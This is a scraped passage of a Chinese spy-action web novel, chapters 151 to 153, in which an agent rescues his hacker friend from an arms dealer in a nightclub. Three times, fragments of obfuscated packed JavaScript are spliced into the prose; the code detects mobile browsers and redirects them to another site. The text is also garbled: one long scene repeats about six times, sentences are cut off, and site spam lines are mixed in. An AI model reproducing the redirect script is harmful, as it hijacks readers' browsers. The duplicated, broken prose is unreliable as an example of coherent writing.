在收到这份资料的时候她习惯性地快速扫过内容这是常年与机密情报打交道养成的本能。 粗略只瞥见第一页的代号。 万岁。 这个名字她并不陌生。 于她而言这不仅仅是一个代号更代表着国际情报界一个近乎神秘的存在。 几乎所有的情报组织都无真正获得对方的详细资料。 她没想到这一次M国竟然能查到对方还准备对其公开下达通缉令。 背后究竟发生了怎样的大事。 科长习惯性地多想离开了办公室。 林霄汉则是在情报科科长走后犹豫了一会才再次拿起那一份情报。 准确来说是时清徵的通缉令。 资料的最后一页有时清徵的照片虽然不够高清但也能认得出对方。 尤其是先前林霄汉还得知时清徵是埃特纳斯时私下对他就更加关注了些。 虽然两人从未见过但是从各种资料上他已经很熟悉对方了。 尤其是对方的长相很容易认出。 他并不怀疑这张照片的真实性 中情局那边的情报定然是经过筛查而且可靠的不存在易容等情况。 林霄汉将这份资料来来**看了好几遍。 反反复复确认上面的信息后还是忍不住将它重新反按了回去手压在纸张上。 最后叹了口气。 “鸣鹤啊你这是招惹了什么人啊。” 他有些无奈地闭眼。 时清徵埃特纳斯现在又是万岁。 顾鸣鹤你可真会给我找麻烦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320988|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 林霄汉内心十分无奈且复杂,但是依旧不会让第七局有任何明面上的行动。 对方又没违法,还是A国公民,自己哪有理由针对他? 即便时清徵身份复杂,背景成谜,但他向来行事有度,甚至此前在拉尔斯事件中还曾出手相助。 从客观角度来看,时清徵算得上是一个表现优良的合作对象。 甚至值得给他发一面热心好市民锦旗。 然而从主观感受而言,林霄汉仍觉得,让这样一个高度不可控的危险人物长时间滞留京城。 实在令人有些难以安心啊。 林霄汉头疼片刻,最终还是觉得这种事交给那小两口自己解决。 让顾鸣鹤看好啊不,是劝一劝他,让他能安生些。 万一对方想在京城招惹出什么事端,那自然不会是什么小事。 林霄汉现在拿着这份资料,只觉得像是烫手的山芋。 你说它重要吧?的确重要。 他可是知道了时清徵的**,全球能掌握这一份资料的人绝不超过两位数。 说它不重要吧?那确实也没啥用。 自己又不能派人去抓时清徵,能不能抓得到是一回事。 更重要的是,人家一整个遵纪守法好公民呢。 你第七局在国内也不可能横行霸道吧,总要有点依据不是? 所以现在最好的处理方法就是让顾鸣鹤去处理。 你们俩给我私下解决,让时清徵乖一点。 最好你们俩也别吵架,不然时清徵一个不高兴,动武啥的。 第七局培养特工也是花了很大的精力和金钱的。 这么想着,林霄汉把资料重新放进牛皮纸里,包了回去。 “ε=(?ο`*)))唉——” 这都是啥事啊。 惆怅完,林霄汉给顾鸣鹤发了消息,让他改天来见一见自己。 只是顾鸣鹤这几天出差,并不在京城。 林霄汉看着顾鸣鹤的消息,一瞬间改了主意。 【算了,等你出差回来,我亲自走一趟。】 第151章 老大,救命啊 时清徵那边还不知道M国中情局把他的**露出去的事。 因为他绝对想不到中情局那边会这么不靠谱。 先前约见的那几个程氏娱乐的股东已经将股份转让到他的名下。 现在时清徵手中的股份虽然不能说撼动程家在程氏娱乐的地位,说话却也有分量。 股份转让走的是正规流程,自然不可能瞒过程家的那群人。 第一个提出想要与时清徵见一面的居然是程俊安。 不过程俊安并没有时清徵的联系方式,几经波折才联系上了周景深,希望通过他来结交时清徵。 时清徵看着周景深发来的消息,内心不由“夸”程俊安一句。 能屈能伸啊。 对方再傻也知道程氏娱乐之所以陷入那样的困境,少不了光影娱乐的推波助澜。 更少不了时清徵这个幕后推手。 但是程俊安依旧还是凑上来了,甚至在与周景深沟通时都是一副好商好量的模样。 不知道的还以为两方真的是什么至交好友。 时清徵知道程俊安在打什么算盘。 无非就是通过他来制衡程氏娱乐现在的代理总裁王凯林。 但是时清徵现在并不打算理他。 晾一晾对方,这样才有更好的筹码。 只是消息发出去,还没有收到周景深的回复,反而是先收到千千的了。 【千千:老大救命!】 时清徵看着这一条弹出来的消息,表情都木然了下。 最终还是回他。 【万岁:???】 对方回的非常快,似乎把单身多年的手速一股脑都用上了。 【千千:我被人盯上了,有人追杀我!】 【千千:<定位>】 【千千:救我!救我!】 时清徵点开定位一看,眉头顿时蹙起。 千千这人居然在A国京城一家夜总会里,而且这里的位置还有些偏僻,时清徵甚至都没有听说过。 他一边快步往外走,一边咬着牙发消息: 【万岁:你跑这种地方来做什么?】 那头没回文字,直接拨了通电话过来。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 时清徵刚接起,就听见千千压得极低,几乎带颤的声音: “老大救命啊。 听得出来非常崩溃了。 “说清楚,怎么回事? 时清徵实在想不通,千千以前在全球各个战乱地带上蹿下跳都没出过事,怎么一来A国,一进夜店就开始喊救命? “呜我碰到斯卡迪莱了,就那个我之前坑过他一把的**贩子。 “我一小时前刚落地A国,想着喝一杯放松下,谁知道就这么巧! “老大你再不来,我今晚真要交代在这儿了 时清徵:“等我半小时。 千千:“老大你快飞过来吧,我现在都躲在厕所里了。 听千千在那头哭诉的工夫,时清徵已经拦下了一辆出租车。 可就在这时,电话对面却传来一阵很重的脚步声。 “谁在里面?一个的男音从手机那端传来。 紧接而来的是暴力的敲门声。 随后是砸门。 时清徵只能听到千千慌乱的不成句的话: “**了他们怎么办?找到我这间了。 时清徵低声道:“要是被抓了,该认怂就认怂,在这他们不敢轻易**,先保住一条命,等我来救你。 说完这句话,千千短促的嗯了声,刚脱口而出一句:“我 就听到门被踹开的声音,然后是肉体碰撞,以及千千的哀嚎:“大大哥,轻点儿,轻点儿。 电话在此时被挂断了。 时清徵皱眉,没有耽搁,拉开车门坐进去,对司机报出那个夜总会的名字。 司机慢悠悠地起步,一点也不急。 时清徵抬眼看了看路,忽然补了一句: “师傅,麻烦快点。 “我去捉奸。 司机:“?!好嘞! 顿时眼神一亮,耳朵一竖,一脚油门直接轰到底。 那车技简直堪比职业赛车手。 三十分钟的路程硬生生被缩短到了二十分钟。 开车的路上等红绿灯的间隙,司机还有空安慰时清徵:“小伙子,我看你年纪轻轻的可千万不要想不开啊。 你的朋友正在书荒,快去帮帮他吧 “对了,是你女朋友出轨了?” 时清徵:“.不是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320989|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是我朋友的对象。” 司机这才恍然大悟:“原来是这样啊我说小伙子你长得这么帅,怎么可能会被甩?” “我告诉你啊,叔对这事儿有经验。” “之前我有个亲戚,她二婶家的邻居就出轨了,当时被围着打,我还趁乱上去补了几脚。” “咱动手要有分寸,懂不?” “要痛,但别致命,到时候他想告你都没办法告你.” 时清徵点头道谢了声,表示知道了,然后继续低头查看手机。 司机只当他是太过心急,开车的时候连音响都关了,一脸严肃。 最后成功将时清徵送到目的地。 时清徵离开后,司机才慢悠悠的转方向盘,默默感慨了一句: “以前车马慢,一生只能爱一人。” “现在的年轻人呐” 时清徵走进夜总会,看着手机上千千最后发来了一条消息,径直走上四楼。 刚才在路上他简单查了一下这个夜总会。 夜总会背后的老板是一个外国人,至于为什么斯卡迪莱会在这里时清徵没来得及细查。 更何况时清徵并不认识这个人。 方才他联系了斯卡迪莱地盘上的一个军头,两人合作多年算是老朋友了。 时清徵找到那个军头,要求对方从中间牵线联系斯卡迪莱。 毕竟千千现在在对方手中,先商量,实在不行再动武。 不过那个军头在短时间内也联系不上斯卡迪莱。 时清徵算是看明白了,等这个军头联系上对方,千千都可以直接埋了。 别人靠不住,还是得靠自己。 时清徵得亲自跑一趟,不然千千今天算是真得栽了。 现在是傍晚,夜总会刚开始营业里面并没有多少客人。 二楼和三楼是包厢,四楼则不对外开放。 时清徵快步走向楼梯间,却在三楼通往四楼的转角处被两名身材高大的保镖拦了下来。 其中一人伸出手臂,面无表情地说道: “先生,四楼不对外人开放。” 时清徵脚步未停,只冷冷回应:“我来找斯卡迪莱。他带走了我朋友。” 两名保镖互望一眼,仍坚决地挡住去路: “没有老板的允许,谁也不能上去。” 第152章 斯卡迪莱 时清徵心中想着千千,自然不愿意再耽误口舌,直接动手。 他迅速伸手扣住保镖的右肩,随后一压,抬腿横扫将这人撂倒。 另外一个保镖刚准备动手,时清徵就曲肘后击撞上对方的胸腹。 那个保镖被这力道锤的闷哼一声,踉跄往后。 还没站稳就被时清徵紧接而来的一脚推的往后倒去,躺在地上一时间动弹不得。 时清徵没在看他们一眼,抬脚就往楼上走去。 而这一幕被刚从三楼包间走出来的靳云封收入眼底。 靳云封: 他不过就想出来透透气,怎么还拍上武打片了呢? 怪哉。 他一定是酒喝多了,居然看见了时清徵在两三秒内就把两个人高马大的保镖给撂倒了。 但好奇心的驱使下还是让他忍不住跟了过去,站在三楼的楼梯口探出脑袋往上悄咪看了眼。 没人 要不上去看看?可万一是找死呢? 可身子比脑子勇敢,还没纠结完后果,他的一只脚就已经跨上了台阶。 然后跟了上去。 此时四楼房间里。 千千被坐在沙发上的人狠狠踹倒在地上,摔出了一段距离。 他疼得龇牙咧嘴,却还是迅速抬起一张糊满眼泪鼻涕的脸,朝着斯卡迪莱的方向哀声求饶: “哥!大哥!我真的错了!我再也不敢了,真的!” 他一边说一边用袖子胡乱抹着脸,声音哽咽,演技逼真:“您以后就是我亲大哥!我哪儿都不乱跑了,就跟您混!” 斯卡迪莱坐在沙发上,与千千隔着一段距离,居高临下地看着他。 听到千千这么讲,他的嘴角扯出一丝冰冷的笑意。 斯卡迪莱身材高大,五官深邃,即使坐在那里也掩不住那股戾气。 作为纵横多年的**贩子,他最恨的就是被人算计。 而千千,看似人畜无害,曾经在一桩重要的交易中动了手脚,将关键信息泄露给了当地官方。 最终直接导致他被抓入狱,吃了好几个月的牢饭。 这笔账,他记得清清楚楚。 千千表面上哭得凄惨可怜,一副真心悔过的 模样,心里却早已把斯卡迪莱从头到脚骂了个遍。 **贩子没一个好东西!等老子出去了非得把你仓库坐标全都挂暗网上去。 可他嘴上说的却是: “大哥.您信我,我这次真的长记性了!” “我之前也是迫于生计啊,是那群人逼我的,他们在我这下单我也不敢拒绝啊。” “他们说我要是敢拒绝就**我呀!” 千千看着站在自己身边一个个身材魁梧,凶神恶煞的保镖,哭的那叫一个真情实感。 一把鼻涕一把泪,简直是闻者伤心,见者落泪。 一副可怜样儿。 只是这群人没一个人同情他,而是用漠然的眼神冰冷地看着他。 斯卡迪莱的左眉骨至眼尾横着一道疤痕,让他原本就凶戾的面容更添几分骇人。 他俯下身,几乎是从齿缝里挤出这句话: “那你有没有想过,惹了我,我也会直接要你的命?” 千千缩在地上,浑身发抖,一个字都不敢回。 只能在心里疯狂呐喊:老大,你再不来我就真要没了啊啊啊!!! 斯卡迪莱嗤笑一声,突然伸手攥住千千的衣领,逼他抬头: “当初你就是用这双手敲键盘泄露我的交易信息,害我蹲了几个月牢?” 他语气渐冷,如同毒蛇吐信, “今天,我就把你这两只手剁了。你说.公不公平?” “不不不,我们有话好好说啊!” “你不报复之前算计你的那群人吗,我可以把他们的机密挖出来。” “哥,亲哥,不,你是我爹行吗?” “爹,我还要靠这双手吃饭呢!” “求你了,要不你也把我送去坐牢吧。” 千千的脑袋摇得像个拨浪鼓,差点就把脑浆给摇匀了。 但斯卡迪莱显然不打算再跟他废话,耐心已经告罄了。 他拿过手下递过来的刀,用力砸进桌子里。 一声巨响,刀的顶端部分直接镶嵌了进去。 千千也顺着这个声音抖了抖,非常应景。 “大大.大哥?” 千千感觉自己要嘎巴一下死在这儿 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320990|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 了,甚至连遗言都想好了。 呜呜呜,他还有好多钱没花完呢。 他不要死啊。 眼看着刀慢慢朝自己逼近,千千忍不住往后挪,却又被掐着脖子扯了回去。 四楼包厢外的走廊每隔几米就站着一个保镖,个个看起来都极为不好惹。 时清徵上了四楼,走廊两侧的保镖瞬间警觉,齐刷刷看向这个不速之客。 他们蠢蠢欲动,靠近时清徵这几个保镖已经朝他走了过来。 只是不等他们合围,时清徵已率先动了起来。 他侧身闪过最先扑来的壮汉,右手成掌劈向对方颈侧,那人应声软倒。 同时左腿扫出,将另一人重重踹撞在墙上。 脚步不停,手肘后击,又一人捂着肋部跪地。 他动作极快,招招击中要害,却不见丝毫花哨。 有人试图从背后擒抱,却被他反手扣腕一扭,清脆的脱臼声伴着闷哼响起。 不过十几个呼吸之间,走廊里已横七竖八倒了一片。 时清徵脚步未乱,径直走向最深处的包厢门,身后只剩一片压抑的呻吟。 看着紧闭的包厢门,开门,没打开。 抬脚,一脚将门踹变形。 第二脚,将门踹地歪了进去,露出点里面的灯影来。 第三脚直接将整个门踹开,门砰的一声砸到里面的墙上。 这些动静让包厢里的人全都看了过来。 斯卡迪莱望向来人时目光微顿。 “是你?” 没等时清徵回话,千千就先哭嚎了出来:“老大救命啊!” “闭嘴。” 斯卡迪莱手中的刀贴上了千千的脸,那冰冷的触觉让千千瑟缩了一下。 千千老实了。 让千千闭嘴后,斯卡迪莱看着时清徵:“埃特纳斯先生,没想到能在这遇见你,真巧啊。” 时清徵原先对这个人的名字不熟悉,但是看着这张脸就忽然对起来了。 自己先前应该见过他。 “不巧,你绑了我朋友,我是专门来找你的。” “没想到埃特纳斯先生跟他还是朋友啊。” 斯卡迪莱嘴角扯出一抹冷笑,眼中却毫无温度。 —————— ★几对副CP在正文中都没什么戏份的,可能会单独开番外。 第153章 记得赔我朋友医药费 斯卡迪莱抬脚不轻不重地踢了踢跪坐在地上,正试图一点一点向外挪动的千千,语带讥讽: “朋友不少啊?” 那语调阴阳怪气,却让人不寒而栗。 千千盯着几乎贴到眼前的刀尖,艰难地咽了咽口水,内心疯狂挣扎。 现在冲到时清徵那边.......到底会不会人还没到,就先被一刀送走? 虽然千千此刻一副怂包模样,但时清徵见他还能动弹,悬着的心总算落了下来。 斯卡迪莱冷笑着开口:“埃特纳斯先生是专程来救他的?” 他语气阴沉,手中的刀仍稳稳抵着千千:“不过他得罪了我,我可没打算轻易放人。” 时清徵面色未变,只淡淡接道:“若这里是赤洲,你说这话我或许还要忌惮几分。但可惜.......” 话音未落,他身影倏然一动。 快得几乎只剩一道残影。 众人甚至来不及看清,他已逼至斯卡迪莱身前。 右手迅疾探出,精准扣住对方持刀的手腕猛然发力。 斯卡迪莱眼中闪过错愕,出手还击,数招过后,最终还是不敌。 只听“咔嚓”一声脆响,斯卡迪莱手中的匕首落地。 紧接着,时清徵左膝狠狠顶向对方腹部,顺势将其手臂反拧至背后。 千千则是趁机连滚带爬躲到另一边。 神仙打架,千万别伤到我呀! 连滚带爬太丑了?艹,老子命都要没了,还走模特吗。 等周围保镖反应过来,他们的老板已被死死按住。 斯卡迪莱反应极快,猛地沉身向下,借势抬腿狠狠踹向身后的时清徵。 时清徵没有硬接,反而借势后撤,轻巧地拉开距离,瞬息之间已退至千千身旁。 千千立马识相地缩到他身后,一把攥住时清徵的衣角。 安全感爆棚,有没有? 刚刚还怂得恨不得钻地缝的人,顿时又抖起来了,扯着嗓子就喊: “老大,揍死他!” 那小人得志的嘴脸,简直把仇恨值拉到爆表。 斯卡迪莱盯着那个变脸比翻书还快的千千,后槽牙咬得咯咯作响,几乎是从牙缝里挤出话来: “.......你很好。” 千千立刻嬉皮笑脸地接话:“我也觉得我挺好的~” 他说这话时脸上还挂着没擦干的泪痕,笑容灿烂得格外欠揍。 时清徵却依旧没什么表情,只淡淡开口,语气却不容置疑: “人,我先带走了。” 他目光扫过斯卡迪莱,声音沉了几分: “别忘了,这里是A国,不是赤洲。做事最好注意分寸。” 斯卡迪莱心知今日绝无可能从时清徵手中强行留人,话锋一转,沉声道: “我知道,埃特纳斯先生一向对赤洲的军火生意很有兴趣。” 他语气渐缓,却字字清晰: “不如我们做个交易,把你身后那个人交给我,我为你打开赤洲的销售渠道。如何?” 不得不承认,斯卡迪莱这番话的确极具分量。 他虽是个二手军火贩子,但在赤洲地界上,除却幽灵组织,他便是最大的地头蛇。 这条通路,足以令无数人动摇。 千千在后面听得头皮发麻,内心疯狂咆哮: 我草??不讲武德啊!!怎么还带现场交易的?! 他小心翼翼地看着时清徵。 虽然他不知道为什么老大又多了个埃特纳斯的身份,但身为合格的狗腿子,他是一句话都不会多问的。 大佬嘛,多几个马甲咋了? 他扯了扯时清徵的衣角,试图唤醒与自家老大的兄弟情义。 “老大,你不会答应他的,对吧?” 可怜,无助,委屈。 那一头金毛都耷拉了下来,蓝湛湛的眼睛瞬间弥漫起雾气。 “你要是带我走,怎么着.....都成~” 他还扭了下。 时清徵:“........” “你要是再敢恶心我一下,我就真把你踹回去。” 那就是不打算卖自己。 千千眼睛一亮,点头如捣蒜。 时清徵拒绝了斯卡迪莱:“不用。” 然后扭头对千千道:“我们走。” 千千犹豫了下,扯住时清徵衣角:“老大.......” 时清徵只是看了他一眼就明白了他的小心思。 转而对斯卡迪莱道:“对了,记得赔我朋友医药费。” 此时还横七竖八躺在走廊外起不来的保镖们:.......你是怎么好意思说出这种话的? 斯卡迪莱用舌尖顶了顶后槽牙:“.......好。” 话是对时清徵说的,但目光一直落在千千身上。 时清徵收到回答后转身就往外走。 千千紧跟在时清徵身后,走出门的时候还朝斯卡迪莱比了个国际友好手势。 “煞笔~” 很轻的一声,但所有人都听见了。 斯卡迪莱气笑了,恶狠狠地盯着千千。 可千千的大腿还搁前面呢,他是一点都不怂,直接瞪了回去。 